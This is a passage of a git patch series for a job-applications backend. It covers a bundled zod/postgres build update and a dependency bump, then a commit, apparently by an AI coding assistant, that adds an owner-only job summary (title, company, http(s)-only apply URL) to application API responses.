mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -69253,9 +74454,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -69709,8 +74907,8 @@ var eventEnvelopeSchema = external_exports.object({ trace: traceContextSchema, payload: external_exports.unknown() }); -function parseEvent(input) { - const envelope = eventEnvelopeSchema.parse(input); +function parseEvent(input2) { + const envelope = eventEnvelopeSchema.parse(input2); const payloadSchema = payloads[envelope.event_type]; const payload = payloadSchema.parse(envelope.payload); return { ...envelope, payload }; @@ -70179,7 +75377,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -70188,29 +75386,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -70718,10 +75916,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -70732,8 +75930,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -70748,9 +75946,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -70829,7 +76027,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -70895,10 +76093,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -70930,7 +76128,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -70953,7 +76151,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -71267,9 +76465,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -71302,9 +76500,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71333,9 +76531,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -71417,15 +76615,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -71537,10 +76735,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -71765,7 +76963,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -71878,7 +77076,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -71906,8 +77104,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -71951,7 +77149,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -71965,8 +77163,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -72011,7 +77209,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -72812,8 +78010,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -73537,16 +78735,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -75261,19 +80459,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -75808,13 +81006,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -79824,8 +85022,8 @@ var MemoryBroker = class { try { await registration.options.handler(envelope, context2); return; - } catch (error51) { - lastError = error51; + } catch (error62) { + lastError = error62; if (attempt < maxRetries) { await this.sleep(backoffDelayMs(attempt)); } @@ -79890,13 +85088,13 @@ function inList(values2) { sql`, ` ); } -function sanitizeError(error51) { +function sanitizeError(error62) { let described; - if (error51 instanceof Error) { - const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + if (error62 instanceof Error) { + const inner = error62.message.startsWith("Failed query") && error62.cause instanceof Error ? error62.cause : error62; described = `${inner.name}: ${inner.message}`; } else { - described = String(error51); + described = String(error62); } return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); } @@ -80197,12 +85395,12 @@ var PostgresBroker = class { }, payload: claimed.payload }); - } catch (error51) { + } catch (error62) { this.logger.error( { consumer: claimed.consumer, event_id: claimed.event_id }, "dead-lettering unparseable outbox event" ); - return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error62)}`); } if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { return this.bury( @@ -80215,14 +85413,14 @@ var PostgresBroker = class { if (await this.alreadyProcessed(claimed)) { return await this.complete(claimed); } - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; try { await registration.handler(envelope, context2); - } catch (error51) { - return this.retryOrBury(registration, claimed, envelope, error51); + } catch (error62) { + return this.retryOrBury(registration, claimed, envelope, error62); } return this.complete(claimed); } @@ -80255,17 +85453,17 @@ var PostgresBroker = class { ); } return "processed"; - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a successful delivery" ); return "failed"; } } - async retryOrBury(registration, claimed, envelope, error51) { + async retryOrBury(registration, claimed, envelope, error62) { const retry = claimed.attempts - 1; - const description = sanitizeError(error51); + const description = sanitizeError(error62); if (retry < this.maxRetriesFor(registration)) { return this.settle(claimed, "failed", description, this.backoffMs(retry)); } @@ -80303,9 +85501,9 @@ var PostgresBroker = class { nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, updatedAt: sql`now()` }).where(this.fence(claimed)); - } catch (error51) { + } catch (error62) { this.logger.error( - { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + { err: error62, consumer: claimed.consumer, event_id: claimed.event_id }, "failed to record a failed delivery" ); } @@ -80357,9 +85555,9 @@ var RabbitMqBroker = class { async ensureChannel() { if (this.channel !== null) return this.channel; const connection2 = await import_amqplib.default.connect(this.options.url); - connection2.on("error", (error51) => { + connection2.on("error", (error62) => { this.healthy = false; - this.options.logger.error({ err: error51 }, "rabbitmq connection error"); + this.options.logger.error({ err: error62 }, "rabbitmq connection error"); }); connection2.on("close", () => { this.healthy = false; @@ -80431,9 +85629,9 @@ var RabbitMqBroker = class { let envelope; try { envelope = parseEvent(JSON.parse(message2.content.toString("utf8"))); - } catch (error51) { + } catch (error62) { this.options.logger.error( - { err: error51, consumer: options.consumer }, + { err: error62, consumer: options.consumer }, "discarding unparseable message" ); channel.nack(message2, false, false); @@ -80443,8 +85641,8 @@ var RabbitMqBroker = class { try { await options.handler(envelope, context2); channel.ack(message2); - } catch (error51) { - const errorMessage = error51 instanceof Error ? error51.message : String(error51); + } catch (error62) { + const errorMessage = error62 instanceof Error ? error62.message : String(error62); if (attempt >= maxRetries) { this.options.logger.error( { consumer: options.consumer, event_id: envelope.event_id, attempts: attempt + 1 }, @@ -80657,8 +85855,8 @@ async function findByCompanyAndEmail(db2, companyId, email3) { const [row] = await db2.select().from(schema_exports.contacts).where(and(eq(schema_exports.contacts.companyId, companyId), eq(schema_exports.contacts.email, email3))).limit(1); return row ?? null; } -async function insertContact(db2, input) { - const [row] = await db2.insert(schema_exports.contacts).values(input).returning(); +async function insertContact(db2, input2) { + const [row] = await db2.insert(schema_exports.contacts).values(input2).returning(); if (!row) throw new Error("insertContact: insert returned no row"); return row; } @@ -80963,35 +86161,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("referrals-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 8039a27..688f0d5 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -331,8 +331,8 @@ importers: specifier: ^3.4.9 version: 3.4.9 zod: - specifier: ^4.4.3 - version: 4.4.3 + specifier: ^4.6.6 + version: 4.6.6 devDependencies: jose: specifier: ^6.2.12 diff --git a/services/admin/package.json b/services/admin/package.json index dc808e2..0588842 100644 --- a/services/admin/package.json +++ b/services/admin/package.json @@ -19,7 +19,7 @@ "drizzle-orm": "^0.45.2", "fastify": "^5.12.5", "postgres": "^3.4.9", - "zod": "^4.4.3" + "zod": "^4.6.6" }, "devDependencies": { "jose": "^6.2.12", From 38a0ec42b95881eb24692f6c37b2b24f7baf261d Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:04:40 +0000 Subject: [PATCH 29/91] feat(applications): return a job summary to the application owner GET /v1/applications, GET /v1/applications/:id, POST /v1/applications and POST /v1/applications/:id/events now carry `job` ({ job_id, title, company_id, company_name, location, remote_type, employment_type, apply_url, is_active }) on the owner's view, so the web UI can show "Staff Platform Engineer at Acme" instead of "Job 1a2b3c4d" and send the user to the employer's apply link. - One LEFT JOIN (applications -> jobs -> companies) on list and get, no N+1; cursor pagination and ordering are unchanged because both joins are on primary keys. Only the summary columns are selected, never the job description or embedding. - Null-safe: if the job or its company row is gone the application is still returned, with `job: null`. - apply_url is http(s) only (other schemes, garbage and URLs with embedded credentials become null) so the UI can use it as a link target. - Organization staff keep the unchanged shape: scope=organization lists, GET by a non-owner staff member and staff event responses contain no job or employer fields (applications counts/statuses only). Tested, including that the staff list query never touches jobs or companies. - packages/types: new applicationJobSummarySchema / applicationWithJobSchema; the list/get/create response schemas gain an optional `job`, existing fields are unchanged. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/types/src/api.ts | 14 +- packages/types/src/application.ts | 36 + .../src/http/routes/append-event.ts | 13 +- .../src/http/routes/create-application.ts | 31 +- .../src/http/routes/get-application.ts | 20 +- .../src/http/routes/list-applications.ts | 19 +- services/applications/src/lib/apply-url.ts | 25 + .../applications/src/repo/applications.ts | 116 +++- services/applications/src/repo/lookups.ts | 75 +- .../test/applications-job-context.test.ts | 648 ++++++++++++++++++ services/applications/test/apply-url.test.ts | 42 ++ .../applications/test/job-summary.test.ts | 121 ++++ 12 files changed, 1101 insertions(+), 59 deletions(-) create mode 100644 services/applications/src/lib/apply-url.ts create mode 100644 services/applications/test/applications-job-context.test.ts create mode 100644 services/applications/test/apply-url.test.ts create mode 100644 services/applications/test/job-summary.test.ts diff --git a/packages/types/src/api.ts b/packages/types/src/api.ts index c268d3c..536db67 100644 --- a/packages/types/src/api.ts +++ b/packages/types/src/api.ts @@ -3,7 +3,7 @@ import { paginationQuerySchema, uuidSchema } from './common.js'; import { applicationModeSchema, applicationStatusSchema, remoteTypeSchema } from './enums.js'; import { publicUserSchema } from './identity.js'; import { companySchema, jobRecommendationSchema, rawJobPostingSchema } from './job.js'; -import { applicationSchema, contactSchema, messageSchema } from './application.js'; +import { applicationWithJobSchema, contactSchema, messageSchema } from './application.js'; import { resumeOptimizationReportSchema, resumeSchema } from './profile.js'; /** @@ -135,8 +135,16 @@ export const createApplicationRequestSchema = z.object({ export type CreateApplicationRequest = z.infer; +/** + * What the applications API returns for one application. `job` is present on + * the owner's view (null if the job or its company is gone) and absent on the + * organization-staff view, which is applications counts/statuses only — no job + * or employer names (see applicationWithJobSchema). + */ +const applicationViewSchema = applicationWithJobSchema.partial({ job: true }); + export const applicationResponseSchema = z.object({ - application: applicationSchema, + application: applicationViewSchema, }); export type ApplicationResponse = z.infer; @@ -145,7 +153,7 @@ export const listApplicationsQuerySchema = paginationQuerySchema; export type ListApplicationsQuery = z.infer; export const listApplicationsResponseSchema = z.object({ - items: z.array(applicationSchema), + items: z.array(applicationViewSchema), next_cursor: z.string().nullable(), }); diff --git a/packages/types/src/application.ts b/packages/types/src/application.ts index 42b0172..94c8abe 100644 --- a/packages/types/src/application.ts +++ b/packages/types/src/application.ts @@ -3,8 +3,10 @@ import { isoTimestampSchema, uuidSchema } from './common.js'; import { applicationModeSchema, applicationStatusSchema, + employmentTypeSchema, messageChannelSchema, messageStatusSchema, + remoteTypeSchema, taskStatusSchema, } from './enums.js'; @@ -26,6 +28,40 @@ export const applicationSchema = z.object({ export type Application = z.infer; +/** + * The slice of a job an application's *owner* needs to recognise it and to + * continue on the employer's site (assisted apply). Deliberately small: no + * description, salary or skills — those stay on the jobs-service surface. + */ +export const applicationJobSummarySchema = z.object({ + job_id: uuidSchema, + title: z.string().min(1).max(300), + company_id: uuidSchema, + company_name: z.string().min(1).max(300), + location: z.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: z.url({ protocol: /^https?$/ }).nullable(), + is_active: z.boolean(), +}); + +export type ApplicationJobSummary = z.infer; + +/** + * An application as its owner sees it. `job` is null when the job (or its + * company) no longer exists. Organization staff never receive this shape: their + * view is {@link applicationSchema} only, with no job or employer fields. + */ +export const applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable(), +}); + +export type ApplicationWithJob = z.infer; + export const contactSchema = z.object({ contact_id: uuidSchema, company_id: uuidSchema, diff --git a/services/applications/src/http/routes/append-event.ts b/services/applications/src/http/routes/append-event.ts index 06597d7..4348f90 100644 --- a/services/applications/src/http/routes/append-event.ts +++ b/services/applications/src/http/routes/append-event.ts @@ -5,7 +5,7 @@ import { createEvent } from '@atlas/messaging'; import { appendApplicationEventRequestSchema, uuidSchema, type ApplicationResponse } from '@atlas/types'; import { AppError, newTraceContext } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; -import { appendEvent, findById, toApplication } from '../../repo/applications.js'; +import { appendEvent, findByIdWithJob, toApplication, toApplicationWithJob } from '../../repo/applications.js'; import { isValidTransition } from '../../lib/transitions.js'; const paramsSchema = z.object({ id: uuidSchema }); @@ -16,7 +16,8 @@ export function appendEventRoute(app: FastifyInstance, deps: AppDeps): void { const { id } = paramsSchema.parse(request.params); const body = appendApplicationEventRequestSchema.parse(request.body); - const current = await findById(deps.db, id); + const found = await findByIdWithJob(deps.db, id); + const current = found?.application ?? null; const isOwner = current?.userId === actor.user_id; const isOrgStaff = current !== null && @@ -24,7 +25,7 @@ export function appendEventRoute(app: FastifyInstance, deps: AppDeps): void { current.organizationId !== null && current.organizationId === actor.organization_id; - if (!current || !(isOwner || isOrgStaff)) { + if (!found || !current || !(isOwner || isOrgStaff)) { throw new AppError('NOT_FOUND', 'Application not found'); } @@ -49,7 +50,11 @@ export function appendEventRoute(app: FastifyInstance, deps: AppDeps): void { ); } - const response: ApplicationResponse = { application: toApplication(updated) }; + // Same visibility rule as GET: the owner's view carries the job context (so + // a client can swap this response straight into its list), staff's never does. + const response: ApplicationResponse = { + application: isOwner ? toApplicationWithJob(updated, found.job) : toApplication(updated), + }; reply.status(200).send(response); }); } diff --git a/services/applications/src/http/routes/create-application.ts b/services/applications/src/http/routes/create-application.ts index 56b64d6..79f67bf 100644 --- a/services/applications/src/http/routes/create-application.ts +++ b/services/applications/src/http/routes/create-application.ts @@ -2,11 +2,17 @@ import type { FastifyInstance } from 'fastify'; import { z } from 'zod'; import { getActor, requireAuth } from '@atlas/auth-kit'; import { createEvent } from '@atlas/messaging'; -import { createApplicationRequestSchema, type ApplicationResponse } from '@atlas/types'; +import { createApplicationRequestSchema, type ApplicationJobSummary, type ApplicationResponse } from '@atlas/types'; import { AppError, IDEMPOTENCY_HEADER, newTraceContext, pgErrorCode } from '@atlas/utils'; import type { AppDeps } from '../../app.js'; -import { findActiveJob, findParsedResumeOwnedBy } from '../../repo/lookups.js'; -import { findByUserAndIdempotencyKey, findByUserAndJob, insertApplication, toApplication } from '../../repo/applications.js'; +import { findJobSummary, findParsedResumeOwnedBy } from '../../repo/lookups.js'; +import { + findByUserAndIdempotencyKey, + findByUserAndJob, + insertApplication, + toApplicationWithJob, + type ApplicationRow, +} from '../../repo/applications.js'; /** Postgres unique_violation. */ const UNIQUE_VIOLATION = '23505'; @@ -14,6 +20,12 @@ const UNIQUE_VIOLATION = '23505'; const idempotencyKeySchema = z.string().min(8).max(200); export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): void { + /** The owner's view of `row`, with the job it points at (null if the job or its company is gone). */ + async function ownerView(row: ApplicationRow, knownJob?: ApplicationJobSummary | null): Promise { + const job = knownJob === undefined ? await findJobSummary(deps.db, row.jobId) : knownJob; + return { application: toApplicationWithJob(row, job) }; + } + app.post('/v1/applications', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); @@ -35,13 +47,12 @@ export function createApplicationRoute(app: FastifyInstance, deps: AppDeps): voi if (!sameRequest) { throw new 